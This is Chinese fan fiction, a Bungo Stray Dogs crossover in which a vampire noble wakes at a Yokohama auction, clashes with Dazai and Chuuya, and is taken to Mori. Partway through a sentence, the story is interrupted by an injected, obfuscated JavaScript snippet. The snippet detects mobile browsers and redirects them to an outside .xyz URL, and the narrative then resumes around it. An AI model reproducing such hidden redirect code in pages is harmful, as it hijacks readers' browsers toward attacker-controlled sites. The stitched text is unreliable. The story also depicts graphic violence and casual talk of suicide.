《绷带浪费装置的饲养日志》 1. 拍卖场 横滨,地下拍卖会。 聚光灯如同冰冷的探照灯,聚焦在拍卖台中央那具剔透的水晶棺上,折射出令人目眩的幽蓝流光。 棺内,少年身着白色欧式长袍睡衣,罕见的粉色长发如绸缎般铺散在雪白丝绒衬里之上,近乎透明的银白眼睫低垂着。 若非胸膛毫无起伏的迹象,任谁都会以为这只是一个沉睡中的普通少年。 拍卖师女士亢奋的声音在寂静的会场炸开:“各位请看!这具保存完好的‘不腐尸身’!碳十四检测证实其历史超过三百年,但肌肤依然富有惊人弹性——” 嗡—— 这是菲那恩混沌意识中接收到的第一道清晰讯息。 瞬间,一个冰冷的事实刺穿迷雾: ——这绝非他原本的世界。 就算他身体特殊,也不应该将他愚昧地认作一具尸体。 只有一个可能——这里没有血族,更没有关于血族的常识, 更奇怪的是,这里的人们用着陌生的语言,但他却能听懂。 空间扭曲、恰好出现在他的沉眠之地、大小完美容纳水晶棺,这概率渺茫得如同神谕在开玩笑。 身为血族贵族图拉尔家族唯一的少爷,竟连棺材板都被撬开,沦为异世界的拍卖品。 他不会被家族原谅的。 不过,那个世界……离开了也好。 此刻,刺目的聚光灯如同灼热的针,直刺他紧闭的眼睑。 他下意识想抬手遮挡,身体却仍被沉睡后的僵直牢牢禁锢,动弹不得。 “水晶棺侧身刻有古语铭文!”拍卖师收起亢奋,换上神秘腔调,“经专家破译,其意为——菲那恩·德·图拉尔!这正是棺中少年的尊名!” 她刻意停顿,吊足胃口,“究竟是什么力量让这‘尸体’栩栩如生?异能?奇物?秘药?是这少年本身的神奇,还是这水晶棺的玄妙?为了不破坏标本,秘密至今未解,其蕴含着无穷的研究价值!” “起拍价,五百万——” 他原来才值五百万吗?! 菲那恩拼尽全力,也只让右手小指极其轻微地抽搐了一下。 这点微动,在炫目光线下,注定无人察觉。 “一千万。”一道低沉磁性的嗓音,从会场幽暗的后排角落传来。 诶……? 菲那恩竭力想睁眼看清买主,但吸血鬼漫长的苏醒过程,总是缓慢得令人心焦。 随后是搬动、颠簸……他被运送至某个地方。 拍卖所VIP包厢。 太宰治的手指,漫不经心地划过冰冷的水晶棺盖,留下一道氤氲的水汽轨迹。 “恒温5度……真是个高级冰箱呢。”他歪着头,鸢色的瞳孔倒映着棺中人苍白如瓷的面容,嘴角噙着一丝玩味的笑,“精致得像活着的洋娃娃,倒是配得上‘菲那恩’这个好听的名字。” 棺内的菲那恩,意识里泛起一丝莫名的不自在。 ——这个人类夸他的“寝具”(水晶棺)功能好,还说他……好看? 原本无人能打开的水晶棺,此刻却发出一声“咔哒”轻响,棺盖被太宰治轻易推开一道缝隙。 ——水晶棺的禁制被人间失格抹消了。 刹那间,混合着凛冽白玫香的寒雾如活物般逸散,瞬间弥漫了整个包厢。 中原中也烦躁地压了压帽檐,钴蓝眼眸警告地扫向太宰:“别用你缠过绷带的脏手乱碰。” 肉眼可见的指尖裹挟着寒雾,悬停在少年鼻尖上方两三厘米处,片刻后,带着点遗憾地收了回来:“遵命,不乱摸。” 他抱着手臂,语气浮夸地惊叹,“真是令人震惊!中也居然花一千万买一具‘尸体’?该不会有什么不可告人的特殊癖好吧……” “闭嘴!”中也的耳尖瞬间泛起可疑的红晕,“卖家说这是在欧洲某古堡地下室发现的!我只是……” 他的声音低了下去,带着一丝不易察觉的柔软,“不想他的安眠被打扰,死后还要沦为实验台上的标本。” “中也真是……善良得让人落泪啊。”太宰治拖长了语调。 等寒雾彻底散去,他的目光再次落在棺中少年的脸上,却猛然惊觉棺中少年的样貌已经变了。 不是长相改变,而是——耳朵,那是象征着非人的尖耳。 棺盖开启之后,菲那恩对外界的感知就增强了不少。 那个刚刚“夸赞”过他的人类,其存在如同黑夜中唯一的星,那种熟悉感牵引着他,让他无法忽视,就好像这是命中注定。 太宰治皮肉下流淌的血液散发出无与伦比的甘甜气息,如同最顶级的毒药,疯狂撩拨着他沉寂百年的属于血族的嗜血本能。 好香…… 好饿啊…… 意识的剧烈躁动与沉睡禁制激烈冲撞。 菲那恩那银白色的眼睫,如同受惊的蝶翼,清晰地、无法控制地颤动了一下。 “哦呀?”原本还在观察菲那恩的尖耳朵,太宰治刚好捕捉到这细微的变化,鸢色眼眸危险地眯起,饶有兴味地挑了挑眉,“呐,中也,看来你‘好好安葬’他的计划……可能要泡汤了哦。” 说着,他修长的食指已带着十足的作死精神,好奇地轻轻戳了戳菲那恩冰凉而富有弹性的脸颊。 指尖与脸颊肌肤触碰的瞬间—— 禁制瞬间解除。 “唰!” 那双紧闭的眼皮猛然掀起,暗红色的蔷薇纹路瞬间从白袍里心脏处,往上蔓延至眼尾,带着一种奇异的美感。 如同最纯净的鸽血宝石骤然暴露在强光之下,那双赤红的眼眸,带着非人的无机质光泽,直勾勾地、精准地锁定了上方的太宰治! 中原中也的呼吸瞬间停滞。 他见识过无数异能发动,却从未目睹如此诡艳的景象——血红瞳孔在灯光下收缩成冰冷的细线,如同两滴融化的、燃烧的血。 粉发少年以一种完全违反人体工学的姿态,直挺挺地坐起身,而若隐若现的獠牙,无声宣告着棺中存在的真实身份。 “小心——!”中也的警告被堵在喉咙。 太宰治只觉手腕被一股冰寒彻骨、力大无穷的力量钳住。 天旋地转间,后背重重撞上冰冷的棺底,馥郁浓烈的白玫香混合着棺内寒气,瞬间灌满鼻腔。 那粉发少年已压在他身上,冰冷的脸颊紧贴着他的颈侧,如同最精准的猎犬般来回轻嗅,鼻尖抵住他颈动脉搏动之处,贪婪地汲取着那致命的香甜气息。 “你好香,人类……”少年刚苏醒的声音带着古老语言的韵律感,沙哑如同砂纸磨过天鹅绒,尖牙在太宰治脆弱的颈间皮肤上危险地摩挲、游移,“比……最新鲜的处子血还要……” 太宰治能清晰感受到对方冰冷的呼吸拂过自己的锁骨。 这名为菲那恩的生物,体温低得不似活物。 “你也很香呢……”太宰治非但不惧,温热的气息还贴着对方敏感的尖耳朵拂过,声音带着一丝的探究,“用的是哪个牌子的顶级防腐剂?” 菲那恩的表情有一瞬间的崩裂,疑惑道:“你……不怕我?” 下一秒,“轰——!” 重力使裹挟着暴怒红光的拳头悍然袭来,菲那恩反应极快,抱着怀中的“血包”就地翻滚,在他们身后,那具价值不菲的水晶棺被恐怖的重力场瞬间碾碎,化作一片水晶尘雾。 菲那恩血红的眼眸沉凝了一瞬,身上的蔷薇纹路开始慢慢变淡,下一瞬便消失得无影无踪。 ——这个人类,很强。 菲那恩快速扫过包厢结构。 他只纠结了一秒,随后便提着甚合他意的“血包”太宰治的后衣领,猛地撞破包厢的纱帘跃出。 包厢外是环形的拍卖场结构,中央拍卖台位于最低处,环绕其上的层层看台包厢视野极佳。 他提着太宰治漂浮在拍卖台上方,红色眼眸在黑暗中愈发红亮,居高临下地看着地面上的人类。 “天啊!那个……那个古尸……那个少年!他活了!!!”拍卖师小姐的尖叫划破混乱。 整个拍卖场瞬间炸开了锅。 尖叫、推搡、混乱,一部分人惊恐逃窜,更多的人则训练有素地掏出武器,护着自家主子撤离,无数黑洞洞的枪口指向了场中央那突兀的存在。 菲那恩对人类的反应毫无意外,脸上甚至没有多余的表情。 粉发间沾着细碎的玻璃渣,他甩了甩脑袋,面无表情地扫过那些持枪的黑衣保镖。 下一瞬,子弹破风声袭来,菲那恩迅速躲避,身形在空中瞬间变得模糊不清,子弹带着灼热的气流擦身而过,发出“咻咻”的死亡之音,在他身后、身侧的描金墙壁和粗壮的罗马柱 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一个暗红色的、半透明的防御罩骤然在他身前张开。 罩壁并非光滑,上面流淌着古老、诡谲、仿佛拥有生命的血色符文,如同暗河中游动的血蛇,缓缓地、无声地蜿蜒流转。 所有倾泻而来的、带着灼热杀意的子弹,如同撞上了一堵叹息之壁,发出沉闷而绝望的“噗噗”声,在接触罩壁的瞬间炸开一圈圈细碎的血色能量涟漪,随即便无力地坠落,在下方的大理石地面上叮当作响。 “哦?”太宰治的声音在近在咫尺的枪火轰鸣和能量碰撞的嗡鸣中,显得异常清晰和平静,甚至带着一丝慵懒的、仿佛在欣赏艺术品的纯粹好奇,“这个是……魔法吗?” 他鸢色的眼眸倒映着防御罩上那些缓缓游动的、充满不祥美感的血色符文,如同在观察一幅活动的抽象画。 “看起来真漂亮呢。” 菲那恩一边维持着防御罩,一边从鼻腔里发出一声极其轻微的冷哼,习惯性道:“无知的人类。” 他的声音带着一种来自时间长河彼端的疏离感,“这是流淌于我等血脉之中的【血族秘术】,才不是那些粗浅的魔法伎俩。” “哦?照你的说法,原来魔法真的存在啊。”太宰治鸢色的眼眸里,瞬间闪过一丝极其恶劣、如同孩童即将恶作剧得逞般的玩味光芒。 他像是脑海中灵光一闪,想到了某个极其有趣又作死到极致的实验点子。 他用只有菲那恩才能勉强听清的音量,如同情人间最亲昵的耳语,又如同深渊恶魔蛊惑的低吟,自言自语般呢喃道:“血族秘术……倒是听起来真是深奥又厉害呢。” 他顿了顿,语气里充满了纯粹的、令人不安的好奇,“不知道我的‘人间失格’……会不会,对它有效呢?” “嗯……?”菲那恩发出一声短促而困惑的鼻音。 太宰治笑了笑,“——是异能无效化哦。” 话音未落——甚至不给菲那恩任何反应和理解这陌生词汇含义的时间——他那带着硝烟和灰尘气息的白色绷带的手,已经悄无声息地抬起,精准地、带着某种宣告终结意味地,盖在菲那恩紧抓着他后衣领的那只冰冷、苍白的手背上。 ——皮肤相触,绷带粗糙的纹理摩擦着冰凉的肌肤。 “什——?!” 就在太宰治的手掌接触到菲那恩皮肤的瞬间,一股前所未有的、冰冷死寂到足以冻结灵魂的“虚无”感,沿着菲那恩那只被触碰的手臂,席卷而上。 菲那恩的赤红瞳孔因极致的震惊和一种触及灵魂最深处的、源自本能的恐惧而骤然缩紧成针尖。 “呃啊——!”一声压抑的、带着难以置信的痛苦和一丝濒死般惊悸的短促喘息,不受控制地从菲那恩紧咬的齿缝间溢出。 暗红色的防御罩瞬间剧烈波动,上面流淌的符文疯狂闪烁、扭曲,随即哀鸣一声,溃散成漫天飘零的、如同血色萤火虫般的光点,迅速黯淡,消逝在浑浊的空气中。 两人如同被无形的命运之剪骤然剪断了所有提线的木偶,在下方人群骤然爆发的、混合着惊恐的惊呼声中,彻底失去了所有依托,直直地、失控地、朝着下方坚硬冰冷的拍卖台地面加速坠落。 2. “投怀送抱” 几乎在瞬间,菲那恩就反应过来了。 数百年刻入骨髓的战斗本能和一种连他自己都未曾深究的、对“所有物”的保护欲,压倒了一切。 即使这个“物”是导致他坠落的元凶。 他几乎是榨干了身体里残存的所有力气,猛地将提着的太宰治向上、向着自己身体的方向狠狠一拽,用自己的脊背作为最后的缓冲垫。 “砰——!!!” 菲那恩结结实实地承受了坠落带来的绝大部分冲击,重重砸在冰冷坚硬的大理石拍卖台上,巨大的力量让台面都仿佛震颤了一下,细密的裂纹以他落点为中心蛛网般蔓延开来,掀起大量灰尘隐藏住人们的视线。 枪声诡异地停止了。 喉咙深处猛地涌上一股浓烈腥甜的铁锈味,菲那恩死死咬住牙关,才将那口涌到嘴边的血强行咽了回去,但一丝暗红的血迹,终究还是不受控制地从他紧抿的唇角缓缓流下。 他躺在冰冷的尘埃与碎石之中,赤红的眼眸因剧痛和刚才那恐怖“禁制”带来的灵魂震荡而短暂失焦,瞳孔边缘甚至泛着一圈因痛苦而生的细微水光,漂亮的银白眼睫微弱地颤抖着。 太宰治的状况则好得多,只是手臂有些扭伤的钝痛,以及身上几处不规则的擦伤,在灰尘中显得格外狼狈,但并无大碍。 “唔……”一声极其压抑的闷哼从菲那恩紧咬的齿缝间泄出,细微得几乎听不见。 他借着手臂的力量,撑着地面,坐了起来,动作间,白长袍上的灰尘簌簌落下几许。 呃……伤得有点重了,按照现在的状态,应该要好一会儿才能恢复过来…… 他脸色苍白地抬起手,擦掉嘴角的血迹,心里却泛起了嘀咕。 不至于吧,虽然他沉睡了这么多年,可他仍然在秘术使用上还算是天赋异禀,这种基础漂浮术应该不会失灵才对…… 难道是人间失格……异能无效化……? 这可真厉害。 不过那又如何,根本不足为惧,除去那个厉害的能力,这个人类也只是一个普通人,难道能打得过血族? 而且,只要不触碰到这个人类,那个能力应该就不会对他有影响。 现在当务之急是他该怎么收场脱身,带着他看中的“血包”。 心神剧震间,他下意识地后退了几步,试图拉开与周围危险的距离,脚下却传来一阵尖锐的刺痛。 他低头,才惊觉自己赤裸的足掌,正毫无防备地踩在满地散落的碎石片上。 他没有在意,而是目光落在一旁坐在地上盯着他的太宰治,静静地看了几秒,在对方那如死水般平静无波的鸢色眼眸注视下,忽然又蹲下凑近—— 柔软的舌尖带着非人的冰凉,优雅而精准地舔去了太宰治脸颊上被划破渗出的那滴血珠,动作从容得如同中世纪贵族在品鉴一杯顶级的波尔多。 太宰治的身体瞬间僵直,鸢色的眼眸罕见地因纯粹的震惊而微微睁大,里面清晰地映出菲那恩近在咫尺的血红瞳孔。 片刻菲那恩便收回舌尖,喉结几不可察地滚动了一下,仿佛在回味那转瞬即逝的滋味。 “不能浪费食物。”他低语着,仿佛在陈述一个再自然不过的真理。 味蕾传来的极致甘美与那诱人的香气完美契合…… 那不仅仅是味蕾的极致狂欢,更像是一道闪电劈开了灵魂的混沌,一种源自血脉深处的、古老而强烈的共鸣轰然炸响,顺着每一根神经末梢疯狂蔓延、震颤。 太美妙了。 这种灵魂被瞬间点亮、被强行共鸣的冲击感,几乎让他全身的骨骼都在发出愉悦的嗡鸣。 然而—— 他忽然困惑地歪了歪头,像只嗅到异常气味的小兽,血红眼眸深处闪过一丝不解:“你的血……” 他的声音带着一丝探寻的意味。 他再次凑近太宰治的脖颈,鼻翼翕动,仿佛要穿透皮肉,探寻那血液深处的秘密,“……为什么会有一种熟悉的味道?还有……一种死气沉沉的感觉……” 太宰治从短暂的震惊中回过神来,喉咙里溢出一声极其短促、意味不明的轻笑,“呵……” 就在菲那恩因为这缕奇特的“死亡气息”而微微失神、血眸中闪过一丝探究与茫然的刹那—— 太宰治动了。 他那只未受伤的手快如闪电,瞬间扣住了菲那恩纤细的后颈。 力道并不重,却带着一种不容挣脱的掌控感,手腕上缠绕的绷带因这动作而松散滑落,露出下方纵横交错、如同蜈蚣般盘踞的、狰狞而深刻的旧日伤痕,无声地诉说着过往的疯狂。 “诶……?”菲那恩发出一声短促而困惑的音节,血红的眼眸里清晰地映着对方手腕上那些触目惊心的疤痕。 他本能地感觉得到,太宰治此刻的动作并非带着杀意,更像是一种……宣告?或者某种他无法理解的意图。 太宰治冰凉的唇几乎贴上那枚敏感的尖耳朵,吐息温热,眼神却十分冰冷:“因为……我是个无可救药的自杀爱好者啊。” 那轻佻的尾音,带着一种令人毛骨悚然的愉悦。 耳廓传来的气流和那过于贴近的、充满危险暗示的话语,让菲那恩不自觉地瑟缩了一下脖颈。 然而,出乎意料地,他并未因此气恼或反击,那双赤红的眼眸反而亮了起来,用一种近乎天真的、宣布重大决定的认真口吻,直视着太宰治深不见底的鸢眸: “人类,别自杀了好不好,我很喜欢你的血。” 他语气笃定,红宝石双眼很纯粹,却隐隐透出属于血族的傲慢,如同在颁发一份录用通知书,“成为我的血仆吧。” “血仆?”太宰治嘴角勾起一抹冰冷的弧度,眼神幽深难测,毫不犹豫地严词拒绝,“真是……令人不快的提议。” 菲那恩眨了眨眼睛,看起来有些失落,道:“好吧,强迫来的血液是苦涩的,我会等你愿意成为我的血仆的那一天。” 太宰治幽幽地凝视着菲那恩,那目光仿佛在穿透他的皮囊,审视着他灵魂的本质。 “太宰!”中原中也饱含怒火的声音如同惊雷般炸响,瞬间打破了两人之间诡异而危险的对峙氛围。 重力场咆哮,四周散落的碎石瞬间被无形的重力攫取,悬浮而起,化作致命箭矢 。 菲那恩瞳孔骤缩,几乎是本能反应,他猛地伸手,一把攥住了太宰治的手腕,用尽残存的气力将他从原地拽起。 他拉着踉跄的太宰治,朝着最近一根粗壮的罗马石柱后面冲去。 “喂喂……你拉我走干嘛……”太宰治被拽得一个趔趄,脸上写满了不合时宜的困惑,语气里甚至带着点委屈巴巴的无辜,“你应该知道那个暴躁的小矮子跟我是一伙的吧?他的目标是你啊。” 他指了指身后那铺天盖地袭来的碎石风暴。 “不行。”菲那恩一边奋力拉着他躲到石柱后,一边斩钉截铁地摇头,粉色的发丝随着动作晃动。 他微微抬起下巴,苍白沾血的脸上竟流露出一丝小小自信,认真得仿佛在宣告某种神圣的职责:“我会罩我的预备血仆的。” 语气认真得有些可爱,却又带着些许的小霸道。 太宰治被他这副理所当然的“保护者”姿态弄得微微一怔,随即唇角勾起一个难以捉摸的弧度,不置可否地笑了两声。 他鸢色的眼眸深处,却冷静地、不动声色地快速扫过菲那恩的身体状况。 嘴角残留的暗红血迹、紧促的双眉、因强忍剧痛而微微颤抖的指尖、以及那苍白得几乎透明的脸色……每一个细节都在无声地诉说着眼前这个古老生物此刻的虚弱与强弩之末。 果然,菲那恩说完,脚下就一软,捂住胸口重重跪倒在地。 不好,好饿好饿好饿……脑子昏昏沉沉的,这里人太多了,要失控了…… 好饿…… 不再是空洞的呐喊,而是灵魂深处每一个细胞的哀鸣与索求。 那鲜血的香气不再是单纯的嗅觉刺激,它仿佛拥有了实质,化作无数细小的、带着倒刺的钩子,钻入他的骨髓,勾缠着他的神经,拉扯着他全部的意志。 每一次太宰治轻微的呼吸,每一次他颈动脉的搏动,都像在菲那恩紧绷的神经上重重敲击,引发一阵阵难以抑制的战栗。 纯粹的吸血鬼本能或许会驱使他不顾一切地扑上去撕咬、掠夺,满足最原始的杀戮与进食欲望。 但菲那恩体内流淌着的另一半人类血脉,以及数百年贵族教养铸就的某种……矜持,在此刻以一种奇特的方式扭曲了这纯粹的渴望。 他不想粗暴地撕裂、破坏。 他想要的是……靠近,无限地靠近那香气的源头。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337539|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想埋进那片温热的颈窝,让那致命的芬芳彻底包裹自己。 他想用冰冷的皮肤去感受那鲜活生命的热度,去倾听那血液在血管中奔流的微弱声响。 他想用鼻尖蹭过那跳动的脉搏,用嘴唇去感受皮肤的细腻纹理,用舌尖去品尝那无法抗拒的甘泉——以一种缓慢而郑重的方式去……享用。 他的赤红瞳孔微微扩散,如同蒙上了一层薄雾。 他完全忘记了身后呼啸而至、足以将他撕碎的碎石风暴,也全然抛开了几秒钟前那“我会罩你”的豪言壮语。 身体像是被抽走了所有对抗的力气,又像是被那香气彻底俘获,带着一种不顾一切的、却又并非攻击性的迫切,几乎是投怀送抱般,朝着近在咫尺的太宰治扑了过去。 扑过去的瞬间,他脑中一片空白,只剩下最原始的指令: 贴上去…… 抱住他…… 好暖和…… 闻他…… 蹭他…… 尝一口……就尝一小口…… 然而太宰治却没有粗暴地推开他,也没有硬抗,而是顺着菲那恩扑来的力道,以一个极其巧妙的角度向后滑退了半步,同时那只缠满绷带的手轻柔地、却带着不容抗拒的力道,稳稳地托住了菲那恩扑过来的肩膀。 这一托,巧妙地卸去了菲那恩大部分冲势,将他前扑的力道转化为一种……近乎依偎的姿态。 菲那恩的额头堪堪抵在太宰治的肩上,整个人被太宰治半抱半扶地固定在身前。 “哎呀呀,”太宰治的声音带着一丝慵懒的调侃,仿佛在安抚一只过于热情的小动物,“这么着急投怀送抱吗?吸血鬼君?” 他的手掌稳稳地按在菲那恩的肩头,隔着薄薄的衣料,能清晰地感受到对方冰凉肌肤下传来的细微颤抖。 菲那恩被这突如其来的阻滞弄得有些懵懂,喉咙里发出不满的咕哝声。 他本能地在太宰治胸前蹭了蹭,像在寻找最舒适的位置,鼻尖贪婪地嗅着那近在咫尺的的甘甜血液芬芳。 好香……太香了…… 尖牙在太宰治颈侧的皮肤上轻轻刮蹭着,带着一种磨人的试探,却并未真的刺入。 血红的眼眸半眯着,蒙着一层水汽,仰头看着太宰治,眼神迷离:“可以让我咬你一口吗……” 太宰治垂眸看着怀中这具散发着寒意的身体,感受着颈侧那冰凉尖牙的刮擦,鸢色的眼眸深处掠过一丝幽暗的光。 他非但没有推开,反而用另一只手的指尖,带着几分探究的意味,轻轻撩开了菲那恩额前沾着灰尘的粉色碎发,露出那双完全被渴望占据的血瞳。 “这可不行哦,”他的声音压得极低,带着一种奇特的安抚与拒绝并存的矛盾感,指尖若有似无地滑过菲那恩冰冷的耳廓,“虽然你的‘喜欢’让我很荣幸,但是呢……” 他微微偏头,避开了那不安分的尖牙,温热的呼吸拂过菲那恩敏感的耳尖,“在找到无痛自杀法之前,被吃掉可不是我的理想结局呢。” 他的话语轻佻而危险,眼神却冷静地审视着菲那恩的状态,评估着菲那恩渴望的边界,同时巧妙地控制着两人之间的距离,既不让对方得逞,又不至于刺激这陷入“饥饿”状态的特殊生物。 那双红宝石般的眼眸死死盯着着太宰治,因不开心和无力感而蒙上了一层水汽,竟给太宰治一种“湿漉漉”的错觉。 会场门被暴力撞开,港口Mafia的武装部队鱼贯而入,目睹了极具戏剧性的一幕:他们年轻的干部衣衫凌乱地抱着一个粉发少年。 而中原中也已然暴怒,捏碎了一根装饰立柱,赭色的微长发在暴走的重力场中狂乱飞舞。 “全部不许开枪!”中也的怒吼如同实质的音浪,震得天花板的水晶吊灯簌簌坠落,“青花鱼还在那里——!” 太宰治挡住其他人视线,突然出手掐住菲那恩的下巴,迫使对方无法合拢嘴露出獠牙,像发现新大陆一般感叹道:“啊呀呀,獠牙竟然是真的 。” “唔呜……”菲那恩眼神稍微清明了不少。 在子弹呼啸、玻璃爆裂的混乱背景音中,太宰治含笑的嗓音带着一种奇异的亲昵,不清晰地传入菲那恩耳中,似是报复菲那恩的血仆邀请,似是真的如此想法。 “——考虑当我的宠物吗?小蝙蝠~” 3. 狠狠挨揍了 冰冷的空气夹杂着尘埃的味道,菲那恩的理智从一片混沌中缓慢浮起。 “考虑当我的宠物吗?小蝙蝠君~” ……宠物? 菲那恩微微睁大了那双赤红的眼眸,里面氤氲的渴望水汽瞬间冻结,被一种难以置信的茫然取代。 这个词像一块粗糙的石头,硌在他心里某个极其敏感的地方。 那刻意拉长的、带着狎昵意味的尾音,瞬间与图拉尔家族古堡冰冷回廊里那些充满恶意与讥诮的低语重合—— “看啊,那个混血的小杂种……” “天赋高有什么用,听说他母亲是人类,这可真是玷污了图拉尔高贵的血统……” “离他远点,小心沾上低贱的气息……”* “说是少爷,其实也只配当个打发时间的宠物吧?真不知道家主大人为什么会留下他……” 那些冰冷刻薄的话语,如同被封印在记忆深处的幽灵,瞬间淹没了菲那恩的意识。 太宰治鸢色的眼眸依旧带着那副漫不经心的探究神情,耐心地等待着——等待着这古老生物被冒犯后的暴怒,等待着那尖牙利爪的反扑,等待着符合“怪物”身份的激烈反应。 那会很有趣,也更能验证他的某些猜想。 然而—— 预想中的愤怒并未降临。 “不是宠物……”菲那恩下意识地反驳着,声音却细弱蚊蝇,带着一丝不易察觉的颤抖,喉头仿佛被什么堵住了,闷闷的,发不出更大的声音。 那双原本因渴望而显得迷离又湿漉漉的血红眼眸,在听到“宠物”二字的刹那,瞳孔骤然紧缩,随即……失去了所有聚焦的光芒。 一股冰冷的、沉重的,混合着被唤醒的、数百年来积压的孤独与不被接纳的痛苦,这种痛苦是这么熟悉,如同极地的寒流,瞬间席卷了他。 比身体坠落的伤痛,比力量被剥夺的虚弱,比饥饿的煎熬……都更让他难受百倍。 原来……在这个世界,也一样……吗? 他以为自己逃离了那个世界就能摆脱,可这个陌生的世界,面前这个人类,只用轻飘飘的两个字就将他打回了原形。 ——他依然是那个不被真正接纳、被视为异类的“东西”。 他努力维持着表面的平静,甚至试图像在古堡里面对那些嘲讽时一样,用高傲的沉默来武装自己,就像过去无数次在图拉尔家族里做的那样。 他只是微微偏开了头,避开了太宰治探究的视线,长长的、沾着血污的银白眼睫垂落,在眼下投下一小片脆弱的阴影,尖牙无意识地在下唇印下浅浅的凹痕,带来一丝细微的、真实的痛楚。 “称呼我,菲那恩。”他的嘴唇动了动,带着一种刻意压低的、冰封般的平静。 太宰治眼底那丝玩味的探究渐渐被一丝极淡的、难以察觉的困惑取代。 这反应……不对。 没有愤怒,没有攻击,只有一种近乎死寂的、被击垮的茫然和……受伤? 这不像一个力量强大、自视甚高的古老异族该有的反应,倒像是……触碰到了某个极其隐秘而脆弱的伤疤? 他按在菲那恩后颈的手指,甚至能感觉到对方身体内部传来的、一种压抑到极致的、细微的痉挛。 太宰治轻笑着道歉,但眼里却毫无歉意:“抱歉抱歉~我说了失礼的话呢——” 太宰治的道歉尾音还未完全落下—— 一道刺目的红光毫无征兆地爆发。 “太宰!闪开——!!!” 中原中也的怒吼如同撕裂空间的雷霆,伴随着一股前所未有的、凝练到极致的毁灭性能量悍然降临。 太宰治迅速松开菲那恩,朝身侧安全区退去。 这一次,中也没有任何试探,出手便是全力。 轰——!!! 一股无法形容的恐怖力量,如同无形的巨锤,狠狠砸在菲那恩的胸口,狠狠砸心神失守、力量又处于强弩之末的菲那恩身上。 即使脱离了太宰治异能无效化的禁制,他也来不及做出任何反应。 咔嚓! 令人牙酸的骨裂声隐约响起! “噗——!” 一大口混杂着内脏碎片的暗红血液从他口中狂喷而出。 天旋地转,失重感只持续了不到半秒,取而代之的是身体被无法抗拒的巨力狠狠掼向后方坚硬物体的恐怖冲击。 砰——!!!! 一声沉闷得令人心脏骤停的巨响。 菲那恩的身体狠狠地、毫无缓冲地撞进了拍卖场边缘一面由厚重钢筋混凝土构筑的承重墙。 碎石混合着钢筋扭曲的刺耳声响疯狂炸开,烟尘如同蘑菇云般升腾而起。 一个深深的人形凹陷出现在墙体上,边缘布满了狰狞的裂痕。 菲那恩的身体完全嵌入了墙体之中,只有头部和一只无力垂落的手臂露在外面。 粉色的长发被鲜血和灰尘黏在苍白如纸的脸上,遮住了大半面容。 那只露出的手臂以一种不自然的姿势扭曲着。 暗红的血液如同小溪,从他口中、鼻腔、耳际以及嵌入墙体的身体各处汩汩涌出,迅速染红了身下的碎石和冰冷的混凝土。 他嵌在墙里,一动不动,仿佛一具被钉在耻辱柱上的破碎玩偶。 那双漂亮的血瞳,此刻紧紧闭合,长而密的银白眼睫上沾满了血珠和尘埃,脆弱得如同即将熄灭的残烛。 所有的意识都被这毁灭性的一击彻底打散,陷入无边无际的黑暗。 意识朦胧的前一秒,他还在想——这个橙头发的人真没礼貌! 失血过多加上内脏重创和力量彻底枯竭,让他陷入了深沉的昏迷。 烟尘缓缓落下,露出那面残破墙壁上凄惨而震撼的景象。 整个空间死寂一片,只有碎石偶尔滑落的细微声响。 港口Mafia的武装部队鸦雀无声,连呼吸都放轻了。 中原中也缓缓从空中落下,周身狂暴的红光收敛,帽檐下的钴蓝眼眸复杂地看着嵌在墙里的菲那恩。 但让他心惊的是对方最后爆发出的那种……混合着怒意、仇恨,与某种他无法理解的、近乎悲怆的眼神。 太宰治脸上的玩味笑容彻底消失了。 他慢悠悠地踱步到那面墙前,鸢色的眼眸沉沉地扫过菲那恩惨烈到极点的状况,目光在那只扭曲的手臂和苍白的脸上停留了片刻。 他伸出手,似乎想拂开那粘在脸上的染血发丝,指尖却在即将触碰时停在了半空。 “下手真重啊,中也。”他的声音听不出什么情绪。 “闭嘴!还不是因为你这混蛋不干事!不然早就抓住他了!”中也烦躁地压了压帽子,声音带着一丝不易察觉的疲惫,“把他弄下来,带回总部医疗队。小心点,别真弄死了。” 他最后看了一眼墙上的身影,补充道,“这家伙……有点邪门。” 几名穿着黑色防弹衣、训练有素的港口Mafia成员立刻上前,动作极其小心谨慎。 最终,菲那恩失去支撑的身体软软地滑落下来,被他们稳稳地接住,迅速转移到一副铺着软垫的担架上。 …… 冰冷刺鼻的消毒水气味取代了尘埃的味道,这里是港口黑手党医疗室的隐秘隔间。 森鸥外,这位掌控着横滨黑夜的医生兼首领,正有条不紊地检查着手术台上昏迷的菲那恩。 他的动作专业而高效,戴着白色手套的手指精准地按压、探查。 “真是令人惊叹的生命力,”他低沉的声音在安静的房间里响起,像手术刀般精准,“肋骨多处骨裂,内脏有严重冲击伤,多处贯穿伤和撕裂伤……这种伤势,换作是人类,在送来的途中就该断气了。” 他微微侧头,看向站在阴影里、仿佛与黑暗融为一体的太宰治,“然而这位菲那恩君……强大的自愈能力已经初步控制住了最致命的损伤,细胞正在高速修复。” “预计……”他顿了顿,给出一个精确的判断,“48小时左右,就能恢复如初。除了失血过多,恐怕连疤痕都不会留下。” 太宰治从阴影中踱步而出,鸢色的眼眸扫过菲那恩苍白却已不再濒死的脸庞,那上面还沾着干涸的血污,长长的银白睫毛在无意识中偶尔轻颤,像易碎的蝶翼。 他耸耸肩,用一种事不关己的语气开始汇报:“首领,情报有限,他的名字是菲那恩·德·图拉尔,按照举止习惯能够推测出他受过良好的教育,从衣服样式、材质和水晶棺也能推测他应该来自类似欧洲贵族一样严苛的家庭,种族应该是吸血鬼吧,会熟练使用强大的类似异能的【血族秘术】……不止一种。” “血族秘术?图拉尔?”森鸥外轻声咀嚼着这个姓氏,嘴角勾起一抹意味深长的弧度,“身负重伤却依然能迅速自愈,拥有强大的力量……这简直是命运赐予港口黑手党的钻石啊,太宰君。” 他转过身,锐利的目光直视太宰治,那目光不再是看一个下属,而是看一枚关键棋子的眼神:“我需要他,需要这份力量,以及他背后可能代表的一切价值。” 